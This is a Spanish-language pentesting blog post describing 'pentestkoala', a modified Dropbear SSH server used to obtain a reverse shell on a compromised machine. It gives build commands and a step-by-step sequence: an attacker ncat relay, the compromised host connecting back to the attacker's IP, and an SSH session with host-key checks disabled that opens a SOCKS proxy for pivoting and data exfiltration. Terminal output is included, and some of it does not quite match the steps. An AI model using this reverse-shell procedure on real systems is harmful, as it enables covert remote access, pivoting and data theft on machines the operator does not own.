Koala un servidor Dropbear modificado para obtener una shell inversa por SSH
Esto es muy �til para conseguir una terminal pty en una m�quina comprometida y tambi�n para la exfiltraci�n segura de datos a trav�s de un reenv�o de puertos SSH (port forwarding SSH). Tambi�n se puede pivotar mediante el port forwading din�mico por SSH.
Instalaci�n:
git clone https://github.com/mrschyte/pentestkoala.git
cd pentesterkoala
./configure
vi options.h (configurar las opciones deseadas)
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install
Uso (paso a paso)
1.- ATACANTE
# ncat -lvp 5000 --sh-exec ncat -lvp 9999
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000
2.- SERVIDOR COMPROMETIDO
# dropbear -p 192.168.1.180:5000
root@WEBBS:/home/vmotos/tools/pentestkoala# [1226] Apr 24 01:00:00 Child connection from 192.168.1.180:5000
3.- ATACANTE
...
Ncat: Connection from 192.168.1.180.
Ncat: Connection from 192.168.1.180:45733.
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
# ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999
Warning: Permanently added [localhost]:9999 (ECDSA) to the list of known hosts.
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
(4.- SERVIDOR COMPROMETIDO)
# [6381] Apr 24 11:14:47 Generated hostkey fingerprint is md5 ef:23:bc:62:05:59:3e:e7:5f:e2:e6:05:3c:32:b0:a6
Fuente: https://github.com/mrschyte/pentestkoala/
download file now
alternative link download